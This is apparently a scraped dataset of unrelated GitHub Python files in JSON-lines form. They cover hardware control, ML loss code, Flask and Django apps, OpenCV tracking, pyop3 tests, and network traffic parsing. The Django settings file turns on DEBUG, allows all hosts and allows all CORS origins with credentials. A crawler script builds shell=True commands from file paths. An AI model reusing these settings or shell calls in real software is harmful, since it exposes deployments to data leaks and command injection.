servo.servo_write(target_pos)\n\n log(manette.ly_pos, servo.current_pos, target_pos, direction, acceleration)\n\n time.sleep(0.01)\n\n\ndef destroy():\n servo.PI_PORT.stop()\n manette.controler.close()\n GPIO.cleanup()\n\n\nif __name__ == '__main__': # Program entrance\n print('Program is starting ... ')\n setup()\n try:\n loop()\n except KeyboardInterrupt: # Press ctrl-c to end the program.\n destroy()\n","repo_name":"Lozweb/piExercise","sub_path":"parts/archived/motor_bidirectional.py","file_name":"motor_bidirectional.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17003785192","text":"__author__ = 'Dexter Tan'\n\nimport os,re, subprocess, sys\nimport datetime\nstartTime = datetime.datetime.now()\n\n#Pass in location of JSON files by command line argument\n#dump_directory = sys.argv[1]\n\n#Pass in location of JSON files by command line argument\nif len(sys.argv) > 1:\n dump_directory = sys.argv[1]\nelse:\n dump_directory = \"PROV_ES_DUMP/PROV_ES_%s_v0\" % datetime.date.today()\n #print dump_directory\n\n\n#ingest_directory = \"/home/ubuntu/dump_ingest/ingest_scripts\"\ningest_file = \"/home/ubuntu/dump_ingest/prov_es_ingest.py\"\n\n\n#Correct dump_directory\nif not dump_directory.endswith(\"/\"):\n dump_directory+\"/\"\n\n#runs python call: python [TYPE]_ingest.py [DIR]/[NAME].json\nfor (root, dirs, files) in os.walk(dump_directory):\n for f in files:\n fileType = f.split(\"_\")[0]\n fullFilePath = os.path.realpath(os.path.join(root,f))\n shellCall = \"python {} {}\".format(ingest_file, fullFilePath)\n subprocess.check_call(shellCall, shell=True)\n\n\ntime_elapsed = (datetime.datetime.now() - startTime)\n\nf = open('prov_es_crawl_log.txt', 'w')\n\nf.write(\"{} crawler finished. time elapsed: {}\\n\".format(datetime.datetime.now(), time_elapsed))\nf.close()\n","repo_name":"dexterzzlab/gcis-ingest","sub_path":"old/old_prov/prov_es_crawler.py","file_name":"prov_es_crawler.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"308574638","text":"import math\n\nN=int(input(\"Number of terms you want to sum up : \\n\"))\nsum = 0\n\nfor x in range(1, N+1, 1):\n sum = sum + 1/x**2\n\nprint(\"The result is : \", sum, \"\\n\")\nprint(\"The EXACT result is : \", math.pi**2/6)\n\n","repo_name":"btrif/Python_dev_repo","sub_path":"Maths/Euler Sum_for.py","file_name":"Euler Sum_for.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43651011398","text":"# install pymongo and dnspython\nimport logging\nfrom MongoAssignment import Mongo_Assignment\n\n\ndef create_logger():\n logging.basicConfig(filename=\"./Logs/MongoAssignment_Log.txt\", level=logging.DEBUG,\n format='%(asctime)s %(levelname)s %(message)s', filemode='w')\n logger = logging.getLogger()\n return logger\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n print('PyMongo Assignment')\n logger = create_logger()\n mongoAssignment = Mongo_Assignment(logger)\n mongoAssignment.instructions()\n mongoAssignment.perform_Mongo_Assignment()\n logger.info(\"Thank you\")\n","repo_name":"RAVITEJAPABBATHI/FSDS_LIVE_CLASS","sub_path":"Live class Assignments/MongoAssignment/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70065467132","text":"import torch\nimport torch.nn as nn\n\nfrom uer.utils.constants import *\n\n\nclass LmTarget(nn.Module):\n \"\"\"\n Language Model Target\n \"\"\"\n\n def __init__(self, args, vocab_size):\n super(LmTarget, self).__init__()\n self.vocab_size = vocab_size\n self.hidden_size = args.hidden_size\n if \"label_smoothing\" in args:\n self.label_smoothing = args.label_smoothing\n else:\n self.label_smoothing = None\n if \"ignore_index\" in args and args.ignore_index:\n self.ignore_index = args.tokenizer.vocab.get(PAD_TOKEN)\n else:\n self.ignore_index = None\n self.prefix_lm_loss = args.prefix_lm_loss\n\n self.output_layer = nn.Linear(self.hidden_size, self.vocab_size, bias=args.has_lmtarget_bias)\n self.softmax = nn.LogSoftmax(dim=-1)\n self.criterion = nn.NLLLoss()\n\n def lm(self, memory_bank, tgt_lm, seg):\n # Language modeling (LM) with full softmax prediction.\n\n tgt_lm = tgt_lm.contiguous().view(-1)\n seg = seg.contiguous().view(-1)\n\n memory_bank = memory_bank.contiguous().view(-1, self.hidden_size)\n\n loss_mask = 1 if self.prefix_lm_loss else 0\n # For example seg=[1,1,1,2,2,0], when loss_prefix = 0 , parts of seg > 0 tokens are computed loss\n # when loss_prefix=1 , only parts of seg = 2 tokens are computed loss\n memory_bank = memory_bank[seg > loss_mask, :]\n tgt_lm = tgt_lm[seg > loss_mask]\n\n output = self.output_layer(memory_bank)\n output = self.softmax(output)\n denominator = torch.tensor(output.size(0) + 1e-6)\n if output.size(0) == 0:\n correct = torch.tensor(0.0)\n else:\n correct = torch.sum((output.argmax(dim=-1).eq(tgt_lm)).float())\n if self.label_smoothing is None:\n loss = self.criterion(output, tgt_lm)\n else:\n if tgt_lm.dim() == output.dim() - 1:\n tgt_lm = tgt_lm.unsqueeze(-1)\n nll_loss = -output.gather(dim=-1, index=tgt_lm)\n smooth_loss = -output.sum(dim=-1, keepdim=True)\n if self.ignore_index is not None:\n pad_mask = tgt_lm.eq(self.ignore_index)\n nll_loss.masked_fill_(pad_mask, 0.0)\n smooth_loss.masked_fill_(pad_mask, 0.0)\n else:\n nll_loss = nll_loss.squeeze(-1)\n smooth_loss = smooth_loss.squeeze(-1)\n nll_loss = nll_loss.mean()\n smooth_loss = smooth_loss.mean()\n eps_i = self.label_smoothing / (output.size(-1) - 1)\n loss = (1.0 - self.label_smoothing - eps_i) * nll_loss + eps_i * smooth_loss\n\n return loss, correct, denominator\n\n def forward(self, memory_bank, tgt, seg):\n \"\"\"\n Args:\n memory_bank: [batch_size x seq_length x hidden_size]\n tgt: [batch_size x seq_length]\n\n Returns:\n loss: Language modeling loss.\n correct: Number of words that are predicted correctly.\n denominator: Number of predicted words.\n \"\"\"\n # Language modeling (LM) with full softmax prediction.\n loss, correct, denominator = self.lm(memory_bank, tgt, seg)\n\n return loss, correct, denominator\n","repo_name":"dbiir/UER-py","sub_path":"uer/targets/lm_target.py","file_name":"lm_target.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","stars":2802,"dataset":"github-code","pt":"78"} +{"seq_id":"18124503885","text":"from flask_app.config.mysqlconnection import connectToMySQL\nfrom flask_app.models.model_ninjas import Ninja\n\nclass Dojo:\n def __init__(self,data):\n self.id = data['id']\n self.name = data['name']\n self.created_at = data['created_at']\n self.updated_at= data['updated_at']\n self.ninjas = []\n\n @classmethod\n def save(cls,data):\n query = \"INSERT INTO dojos (name) VALUES (%(name)s);\"\n dojo_id = connectToMySQL('dojos_and_ninjas_schema').query_db(query,data)\n return dojo_id \n\n \n @classmethod\n def get_all(cls):\n query = 'SELECT * FROM dojos;'\n dojos_from_db = connectToMySQL('dojos_and_ninjas_schema').query_db(query)\n \n all_dojos =[]\n for dojo in dojos_from_db:\n all_dojos.append(cls(dojo))\n return all_dojos\n\n @classmethod\n def get_by_id(cls,data):\n query = 'SELECT * FROM dojos WHERE id = %(dojos_id)s;'\n mysql = connectToMySQL('dojos_and_ninjas_schema')\t\n dojo = mysql.query_db(query,data) \n return cls(dojo[0])\n\n @classmethod\n def get_dojos_with_ninjas(cls,data):\n query = \"SELECT * FROM dojos LEFT JOIN ninjas ON ninjas.dojo_id = dojos.id WHERE dojos.id = %(id)s;\"\n results = connectToMySQL('dojos_and_ninjas_schema').query_db(query,data)\n print(results)\n dojo = cls(results[0] )\n for row_from_db in results:\n \n data = {\n \"id\" : row_from_db[\"ninjas.id\"],\n \"first_name\" : row_from_db[\"first_name\"],\n \"last_name\" : row_from_db[\"last_name\"],\n \"age\" : row_from_db[\"age\"],\n \"created_at\" : row_from_db[\"ninjas.created_at\"],\n \"updated_at\" : row_from_db[\"ninjas.updated_at\"]\n }\n dojo.ninjas.append(Ninja(data))\n return dojo \n\n\n\"\"\"\n @classmethod\n def update(cls,data):\n mysql = connectToMySQL('users')\n query = 'UPDATE users SET first_name=%(first_name)s,last_name=%(last_name)s,email=%(email)s WHERE id=%(id)s'\n return mysql.query_db(query,data)\n\n @classmethod\n def delete(cls,data):\n mysql = connectToMySQL('users')\n query = 'DELETE FROM users WHERE id=%(id)s'\n return mysql.query_db(query,data) \"\"\"","repo_name":"Nardos-L/dojos_and_ninjas","sub_path":"flask_app/models/model_dojos.py","file_name":"model_dojos.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23927761936","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('DjangoERP', '0005_auto_20150329_2335'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='employee',\n options={'permissions': (('can_access_hr', 'Can access HR'), ('can_access_sales', 'Can access Sales'), ('can_access_finance', 'Can access Finance'))},\n ),\n migrations.AddField(\n model_name='employee',\n name='department',\n field=models.CharField(default=datetime.datetime(2015, 3, 29, 23, 37, 41, 681613, tzinfo=utc), max_length=100),\n preserve_default=False,\n ),\n ]\n","repo_name":"sprzedwojski/django-erp","sub_path":"DjangoERP/migrations/0006_auto_20150329_2337.py","file_name":"0006_auto_20150329_2337.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"38089681190","text":"# dotenv allows us to look inside of the hidden .env file\nfrom dotenv import load_dotenv\nimport os\nfrom pathlib import Path\n\n# imports datetime\nfrom datetime import timedelta\n\n# initializes dotenv\nload_dotenv()\n\n# Build paths inside the project like this: BASE_DIR / 'subdir'.\nBASE_DIR = Path(__file__).resolve().parent.parent\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = str(os.getenv('SECRET_KEY'))\n\n# please don't touch\nDEBUG = True\n\n# Allows all hosts / browsers\nALLOWED_HOSTS = ['*']\n\n\n# CORS settings\n# CORS trusted origins\nCSRF_TRUSTED_ORIGINS = ['http://localhost:3000', 'https://backend-alike.herokuapp.com', 'https://alike-ga.netlify.app', 'http://res.cloudinary.com']\n\n# CORS Allowed origins\nCORS_ALLOWED_ORIGINS = [\n \"http://localhost:3000\",\n \"http://localhost:8000\",\n \"http://127.0.0.1:3000\",\n \"http://127.0.0.1:8000\",\n \"https://backend-alike.herokuapp.com\", \n 'https://alike-ga.netlify.app',\n 'http://res.cloudinary.com'\n]\n\n# CORS allowed methods\nCORS_ALLOW_METHODS = [\n 'DELETE',\n 'GET',\n 'OPTIONS',\n 'PATCH',\n 'POST',\n 'PUT'\n]\n\n#CORS allowed headers\nCORS_ALLOW_HEADERS = [\n 'accept',\n 'accept-encoding',\n 'authorization',\n 'content-type',\n 'dnt',\n 'origin',\n 'user-agent',\n 'x-csrftoken',\n 'x-requested-with'\n]\n\nCORS_ALLOW_ALL_ORIGINS = True\nCORS_ALLOW_CREDENTIALS = True\n\n# Knox token settings\nREST_KNOX = {\n 'TOKEN_TTL': timedelta(hours=340),\n 'AUTO_REFRESH': True,\n}\n\nKNOX_TOKEN_MODEL = 'knox.AuthToken'\n\n# Apps installed in this project\nINSTALLED_APPS = [\n 'corsheaders',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'rest_framework',\n 'backend_alike_app',\n 'knox',\n]\n\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': [\n 'rest_framework.permissions.IsAuthenticatedOrReadOnly',\n ],\n 'DEFAULT_AUTHENTICATION_CLASSES': [\n 'knox.auth.TokenAuthentication',\n ],\n}\n\n# all django boilerplate except for cors\nMIDDLEWARE = [\n 'corsheaders.middleware.CorsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'backend_alike.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'backend_alike.wsgi.application'\n\n\n# Database settings\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'NAME': str(os.getenv('NAME')),\n 'USER': str(os.getenv('USER')),\n 'PASSWORD': str(os.getenv('PASSWORD')),\n 'HOST': str(os.getenv('HOST')),\n 'PORT': str(os.getenv('PORT'))\n }\n}\n\n# Password validation\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n\n# Internationalization\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\nSTATIC_URL = 'static/'\n\nSTATIC_ROOT = os.path.join(BASE_DIR, \"static\")\n\n# Default primary key field type\nDEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'\n\n# Configure Django App for Heroku.\nimport django_heroku\ndjango_heroku.settings(locals())\n\n\n","repo_name":"NickFasulo/BackEnd-Alike","sub_path":"backend_alike/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"33434450522","text":"# you can tune with calibration.py\nimport cv2 as cv\nimport numpy as np\n\ncap = cv.VideoCapture(0)\n\ncv.namedWindow('Mask')\ncv.namedWindow('Image')\n\nUpperH = 158 #0-180\nUpperS = 222 #0-255\nUpperV = 189 #0-255\nLowerH = 120 #0-180\nLowerS = 14 #0-255\nLowerV = 47 #0-255\nMinSize = 15000 #Minimun number of white pixels of the mask\nFilter = 9 #Must be odd number\n\nlast_five = np.zeros((5,2), dtype=int)\nDETECT = False\n\nwhile(True):\n ret, frame = cap.read()\n hsv = cv.cvtColor(frame, cv.COLOR_BGR2HSV)\n lower_colour = np.array([LowerH,LowerS,LowerV])\n upper_colour = np.array([UpperH,UpperS,UpperV])\n mask = cv.inRange(hsv, lower_colour, upper_colour)\n mask = cv.medianBlur(mask, 9)\n\n\n #contours, hierarchy = cv.findContours(mask,cv.RETR_TREE,cv.CHAIN_APPROX_SIMPLE)\n if sum(sum(mask)) >= MinSize:\n DETECT = True\n M = cv.moments(mask)\n if M[\"m00\"] != 0:\n cX = int(M[\"m10\"] / M[\"m00\"])\n cY = int(M[\"m01\"] / M[\"m00\"])\n else:\n DETECT = False\n cX, cY = 0, 0\n\n #cv.drawContours(frame, mask, -1, (0,255,0), 3)\n cv.circle(frame, (cX, cY), 5, (255, 255, 255), -1)\n cv.putText(frame, \"centroid\", (cX - 25, cY - 25),cv.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)\n\n cv.imshow('Mask', mask)\n cv.imshow(\"Image\", frame)\n\n if DETECT:\n current_pos = np.array([[cX, cY]])\n last_five = np.concatenate((last_five[1:5,:],current_pos))\n if np.std(last_five[:,0]) <= 1 and np.std(last_five[:,1]) <= 1:\n print(np.average(last_five, axis=0))\n\n\n if cv.waitKey(1) & 0xFF == ord('q'):\n break\n\n# When everything done, release the capture\nprint(UpperH, UpperS, UpperV, LowerH, LowerS, LowerV)\ncap.release()\ncv.destroyAllWindows()\n\n\n#img = cv.imread(\"pick.jpg\")\n#gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n# convert the grayscale image to binary image\n\n#cv.waitKey(0)","repo_name":"Kevinskwk/OpenCV_Python","sub_path":"scripts/centroid.py","file_name":"centroid.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"9926605146","text":"class Queue:\n _base: list[int]\n _size: int\n\n def __init__(self):\n self._base = []\n self._size = 0\n\n def push(self, elem : int):\n self._base.append(elem)\n self._size = self._size + 1\n print(\"ok\")\n return True\n\n def pop(self):\n try:\n print(self._base.pop(0))\n self._size = self._size - 1\n except IndexError:\n print(\"error\")\n return True\n\n def front(self):\n try:\n print(self._base[0])\n except IndexError:\n print(\"error\")\n return True\n\n def size(self):\n print(self._size)\n return True\n\n def clear(self):\n self._base = []\n self._size = 0\n print(\"ok\")\n return True\n\n def exit(self):\n return False\n\nqueue = Queue()\n\ncommands = {\"push\": lambda x: queue.push(int(x[1])),\n \"pop\": lambda x: queue.pop(),\n \"front\": lambda x: queue.front(),\n \"size\": lambda x: queue.size(),\n \"clear\": lambda x: queue.clear(),\n \"exit\": lambda x: False}\n\nrunning = True\n\nwhile running:\n args = input().split()\n running = commands[args[0]](args)\nprint(\"bye\")\n","repo_name":"S13gfried/yatraining","sub_path":"structs/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1806162131","text":"# -*- coding:utf-8 -*-\n\"\"\"\n@Author: Rainbowhhy\n@Date: 2020-11-14 15:16:18\n\"\"\"\n\nimport os, re\n\ndef is_public_ip(ip):\n # 判断ip是公网还是私网\n private = re.findall(\n r'^((192\\.168)|(198\\.18)|(198\\.19)|(10\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d))|(172\\.(1[6-9]|2[0-9]|3[0-1])))\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)$',\n ip)\n if private:\n return 0\n else:\n return 1\n\ndef convert_unit(unit):\n # 统一转换成bit后计算\n if \"Gb\" in unit:\n flow = float(unit.strip(\"Gb\")) * 1024 * 1024 * 1024\n elif \"Mb\" in unit:\n flow = float(unit.strip(\"Mb\")) * 1024 * 1024\n elif \"Kb\" in unit:\n flow = float(unit.strip(\"Kb\")) * 1024\n else:\n flow = float(unit.strip(\"b\"))\n return flow\n\ndef get_traffic():\n # 调用iftop命名获取公网和私网流量\n iftop_info = os.popen(\"iftop -t -N -n -s 4 2>/dev/null | grep -A 1 -E '^ [0-9]'\").read()\n iftop_list = iftop_info.split(\"\\n\")\n count = len(iftop_list) - 1\n public_traffic_send = 0\n public_traffic_recv = 0\n private_traffic_send = 0\n private_traffic_recv = 0\n public_ips = []\n private_ips = []\n for i in range(int(count / 2)):\n # 获取出向流量信息\n traffic_send = iftop_list[i * 2]\n traffic_send_lists = traffic_send.split(\" \")\n while \"\" in traffic_send_lists:\n traffic_send_lists.remove(\"\")\n traffic_send = traffic_send_lists[3]\n traffic_send_float = convert_unit(traffic_send)\n\n # 获取入向流量信息\n traffic_recv = iftop_list[i * 2 + 1]\n traffic_recv_lists = traffic_recv.split(\" \")\n while \"\" in traffic_recv_lists:\n traffic_recv_lists.remove(\"\")\n ip = traffic_recv_lists[0]\n traffic_recv = traffic_recv_lists[2]\n traffic_recv_float = convert_unit(traffic_recv)\n\n # 计算公网和私网的总流量\n if is_public_ip(ip):\n public_ips.append(ip)\n public_traffic_send += traffic_send_float\n public_traffic_recv += traffic_recv_float\n\n else:\n private_ips.append(ip)\n private_traffic_send += traffic_send_float\n private_traffic_recv += traffic_recv_float\n return public_traffic_send, public_traffic_recv, private_traffic_send, private_traffic_recv\n\nif __name__ == '__main__':\n public_traffic_send, public_traffic_recv, private_traffic_send, private_traffic_recv = get_traffic()\n print(\"公网入向:%s\" % public_traffic_recv)\n print(\"公网出向:%s\" % public_traffic_send)\n print(\"私网入向:%s\" % private_traffic_recv)\n print(\"私网出向:%s\" % private_traffic_send)","repo_name":"1233213f/Python-Deciphering","sub_path":"4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":2507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8806085507","text":"import pandas as pd\nimport numpy as np\n\nclass Labeller:\n\n def label_extract(self,PATH_DATA,metirc='Mean'):\n dataset=pd.read_excel(PATH_DATA).drop([0])\n if metirc=='Mode':\n df=self.mode_calculator(dataset)\n else:\n df = self.mean_calculator(dataset)\n\n list_lable = []\n for index, row in df.iterrows():\n if row['Happy'] >= row['Angry'] and row['Happy'] >= row['Sad'] and row['Happy'] >= row['Neutral']:\n list_lable.append(0)\n continue\n if row['Angry'] >= row['Happy'] and row['Angry'] >= row['Sad'] and row['Angry'] >= row['Neutral']:\n list_lable.append(1)\n continue\n if row['Sad'] >= row['Angry'] and row['Sad'] >= row['Happy'] and row['Sad'] >= row['Neutral']:\n list_lable.append(2)\n continue\n if row['Neutral'] >= row['Angry'] and row['Neutral'] >= row['Happy'] and row['Neutral'] >= row['Sad']:\n list_lable.append(3)\n continue\n data = {'Gait': df['Gait'],\n 'Lable': list_lable,\n }\n df = pd.DataFrame(data=data)\n return df\n\n def mean_calculator(self,dataset):\n list_gait = []\n mean_happy = []\n mean_angry = []\n mean_sad = []\n mean_neutral = []\n\n # Estaggo la media per ogni gati di ogni emozione\n for i in range(1, dataset.shape[1] - 1, 4):\n list_gait.append(dataset.columns[i])\n for j in range(0, 4):\n column_name = dataset.columns[i + j]\n vmean = dataset[column_name].mean()\n if j == 0: mean_happy.append(vmean)\n if j == 1: mean_angry.append(vmean)\n if j == 2: mean_sad.append(vmean)\n if j == 3: mean_neutral.append(vmean)\n\n data = {'Gait': list_gait,\n 'Happy': mean_happy,\n 'Angry': mean_angry,\n 'Sad': mean_sad,\n 'Neutral': mean_neutral\n }\n\n df = pd.DataFrame(data=data)\n return df\n\n\n def mode_calculator(self,dataset):\n list_gait = []\n mode_happy = []\n mode_angry = []\n mode_sad = []\n mode_neutral = []\n\n # Estaggo la media per ogni gati di ogni emozione\n for i in range(1, dataset.shape[1] - 1, 4):\n list_gait.append(dataset.columns[i])\n for j in range(0, 4):\n column_name = dataset.columns[i + j]\n vmode = dataset[column_name].mode().max()\n if j == 0: mode_happy.append(vmode)\n if j == 1: mode_angry.append(vmode)\n if j == 2: mode_sad.append(vmode)\n if j == 3: mode_neutral.append(vmode)\n \n data = {'Gait': list_gait,\n 'Happy': mode_happy,\n 'Angry': mode_angry,\n 'Sad': mode_sad,\n 'Neutral': mode_neutral\n }\n\n df = pd.DataFrame(data=data)\n return df\n","repo_name":"PuddiPuddi96/EmotionGait","sub_path":"python/Labeller.py","file_name":"Labeller.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74151278332","text":"import pytest\n\nfrom pyop3 import *\n\n# from pyop3.multiaxis import ConstrainedMultiAxis\n\n\n# This file is pretty outdated\npytest.skip(allow_module_level=True)\n\n\ndef id_tuple(nodes):\n return tuple(node.id for node in nodes)\n\n\ndef label_tuple(nodes):\n return tuple(node.label for node in nodes)\n\n\ndef test_axis_ordering():\n axis0 = MultiAxis([MultiAxisComponent(3, \"cpt0\")], \"ax0\")\n axis1 = MultiAxis([MultiAxisComponent(1, \"cpt0\")], \"ax1\")\n\n layout = [ConstrainedMultiAxis(axis0), ConstrainedMultiAxis(axis1)]\n axes = MultiAxisTree.from_layout(layout)\n\n assert axes.depth == 2\n assert axes.root == axis0\n assert just_one(axes.children({\"ax0\": \"cpt0\"})).label == \"ax1\"\n assert not axes.children({\"ax0\": \"cpt0\", \"ax1\": \"cpt0\"})\n\n ###\n\n layout = [ConstrainedMultiAxis(axis0), ConstrainedMultiAxis(axis1, priority=0)]\n axes = MultiAxisTree.from_layout(layout)\n assert axes.depth == 2\n assert axes.root.label == \"ax1\"\n assert just_one(axes.children({\"ax1\": \"cpt0\"})).label == \"ax0\"\n assert not axes.children({\"ax0\": \"cpt0\", \"ax1\": \"cpt0\"})\n\n\ndef test_multicomponent_constraints():\n axis0 = MultiAxis(\n [MultiAxisComponent(3, \"cpt0\"), MultiAxisComponent(3, \"cpt1\")], \"ax0\"\n )\n axis1 = MultiAxis([MultiAxisComponent(3, \"cpt0\")], \"ax1\")\n\n ###\n\n layout = [\n ConstrainedMultiAxis(axis0, within_labels={(\"ax1\", \"cpt0\")}),\n ConstrainedMultiAxis(axis1),\n ]\n axes = order_axes(layout)\n\n assert axes.depth == 2\n assert axes.root.label == \"ax1\"\n assert just_one(axes.children({\"ax1\": \"cpt0\"})).label == \"ax0\"\n assert not axes.children({\"ax1\": \"cpt0\", \"ax0\": \"cpt0\"})\n assert not axes.children({\"ax1\": \"cpt0\", \"ax0\": \"cpt1\"})\n\n ###\n\n with pytest.raises(ValueError):\n layout = [\n ConstrainedMultiAxis(axis0, within_labels={(\"ax1\", \"cpt0\")}),\n ConstrainedMultiAxis(axis1, within_labels={(\"ax0\", \"cpt0\")}),\n ]\n order_axes(layout)\n\n ###\n\n layout = [\n ConstrainedMultiAxis(axis0),\n ConstrainedMultiAxis(axis1, within_labels={(\"ax0\", \"cpt1\")}),\n ]\n axes = order_axes(layout)\n\n assert axes.depth == 2\n assert axes.root.label == \"ax0\"\n assert not axes.children({\"ax0\": \"cpt0\"})\n assert just_one(axes.children({\"ax0\": \"cpt1\"})).label == \"ax1\"\n assert not axes.children({\"ax0\": \"cpt1\", \"ax1\": \"cpt0\"})\n\n ###\n\n\ndef test_multicomponent_constraints_more():\n # ax0\n # ├──➤ cpt0 : ax1\n # │ └──➤ cpt0\n # └──➤ cpt1 : ax2\n # └──➤ cpt0 : ax1\n # └──➤ cpt0\n\n axis0 = MultiAxis(\n [\n MultiAxisComponent(3, \"cpt0\"),\n MultiAxisComponent(3, \"cpt1\"),\n ],\n \"ax0\",\n )\n axis1 = MultiAxis([MultiAxisComponent(3, \"cpt0\")], \"ax1\")\n axis2 = MultiAxis([MultiAxisComponent(3, \"cpt0\")], \"ax2\")\n\n layout = [\n ConstrainedMultiAxis(axis0, priority=0),\n ConstrainedMultiAxis(axis1, priority=20),\n ConstrainedMultiAxis(axis2, within_labels={(\"ax0\", \"cpt1\")}, priority=10),\n ]\n axes = order_axes(layout)\n\n assert axes.depth == 3\n assert axes.root.label == \"ax0\"\n assert just_one(axes.children({\"ax0\": \"cpt0\"})).label == \"ax1\"\n assert just_one(axes.children({\"ax0\": \"cpt1\"})).label == \"ax2\"\n assert not axes.children({\"ax0\": \"cpt0\", \"ax1\": \"cpt0\"})\n assert just_one(axes.children({\"ax0\": \"cpt1\", \"ax2\": \"cpt0\"})).label == \"ax1\"\n assert not axes.children({\"ax0\": \"cpt1\", \"ax2\": \"cpt0\", \"ax1\": \"cpt0\"})\n","repo_name":"connorjward/pyop3","sub_path":"tests/unit/test_axis_ordering_old.py","file_name":"test_axis_ordering_old.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"13186142639","text":"class BunnyComputer:\n def __init__(self, instructions, extra_kwargs={}):\n self.a = 0\n self.b = 0\n self.c = 0\n self.d = 0\n self.instructions = instructions\n self.pos = 0\n self.__dict__.update(extra_kwargs)\n\n def _access(self, addr):\n if addr in \"abcd\":\n return self.__dict__[addr]\n return int(addr)\n\n def exec_instruction(self, instruction):\n parts = instruction.split(' ')\n if parts[0] == 'cpy':\n self.__dict__[parts[2]] = self._access(parts[1])\n self.pos += 1\n elif parts[0] == 'inc':\n self.__dict__[parts[1]] += 1\n self.pos += 1\n elif parts[0] == 'dec':\n self.__dict__[parts[1]] -= 1\n self.pos += 1\n elif parts[0] == 'jnz':\n if self._access(parts[1]):\n self.pos += int(self._access(parts[2]))\n else:\n self.pos += 1\n\n def run(self):\n while self.pos < len(self.instructions):\n self.exec_instruction(self.instructions[self.pos])\n\n\ndef main():\n with open('12.input', 'r') as fp:\n instructions = fp.read().splitlines()\n bc = BunnyComputer(instructions)\n bc.run()\n print(bc.a)\n\n bc = BunnyComputer(instructions, extra_kwargs={'c': 1})\n bc.run()\n print(bc.a)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sulami/spielwiese","sub_path":"advent16/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"16807638594","text":"import multiprocessing\nfrom time import *\nimport os\n\n\ndef th1():\n sleep(3)\n print(\"吃饭\")\n print(os.getppid(), '父_______子', os.getpid())\n\n\ndef th2():\n sleep(2)\n print(\"睡觉\")\n print(os.getppid(), '父_______子', os.getpid())\n\n\ndef th3():\n sleep(4)\n print(\"打豆豆\")\n print(os.getppid(), '父_______子', os.getpid())\n\n\nlst = [th1, th2, th3]\nprocess = []\nfor i in 